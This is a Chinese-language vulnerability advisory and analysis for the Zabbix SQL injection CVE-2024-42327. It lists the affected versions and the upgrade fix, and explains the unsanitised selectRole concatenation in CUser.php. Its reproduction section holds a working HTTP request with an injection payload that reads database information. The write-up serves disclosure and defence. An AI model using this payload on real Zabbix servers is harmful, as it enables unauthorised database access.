Skip to content

Zabbix SQL 注入漏洞(CVE-2024-42327)

漏洞介绍

Zabbix前端上具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。addRelatedObjects函数的Cuser类中存在SQLi,该函数是从Cuser.get函数调用的,该函数适用于每个具有API访问权限的用户。

影响范围

6.0.0 - 6.0.31

6.4.0 - 6.4.16

7.0.0

修复建议

升级到安全版本:6.0.32rc1,6.4.17rc1,7.0.1rc1

漏洞复现

登录后使用以下payload:

POST /api_jsonrpc.php HTTP/1.1
Host: z.test.xaitx.com
Content-Type: application/json-rpc
Cookie: zbx_session=eyJzZXNzaW9uaWQiOiJiODVhYjcwNjZlN2M3YmU0YmYzNmEwMGEwN2ZjMzBiYiIsInNlcnZlckNoZWNrUmVzdWx0IjpmYWxzZSwic2VydmVyQ2hlY2tUaW1lIjoxNzMzNzQ2ODM5LCJzaWduIjoiMGE4N2RlZTkyNWU1Y2JlNTFkZjdkNGYyNzk1Y2ZlMmYxODA4NGEwYWJmODQ0MTk5NGI3MDA0MzRmNzA1MjY3YiJ9
Content-Length: 101

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": [
    "a from (select 1 as userid) as u join (select (select user()) as a) as r #"
    ]
  },
  "id": 2
}

返回数据库对应的信息。

image-20241209202747138

漏洞分析

漏洞关键点在于include\classes\api\services\CUser.php的addRelatedObjects函数中。可以看到SQL语句中将处理后的$options['selectRole']值直接拼接到了SQL语句中。而$options是直接从用户输入接收到的值,其他地方也没有对selectRole进行限制和过滤,只有最后有一个拼接。所以在这里直接导致了SQL注入。

因为该接口前面还有鉴权,所以还需要具有默认用户角色或任何其他赋予API访问权限的角色的非管理员用户帐户都可以利用此漏洞。

image-20241209203049337

参考链接:

https://avd.aliyun.com/detail?id=AVD-2024-42327

https://support.zabbix.com/browse/ZBX-25623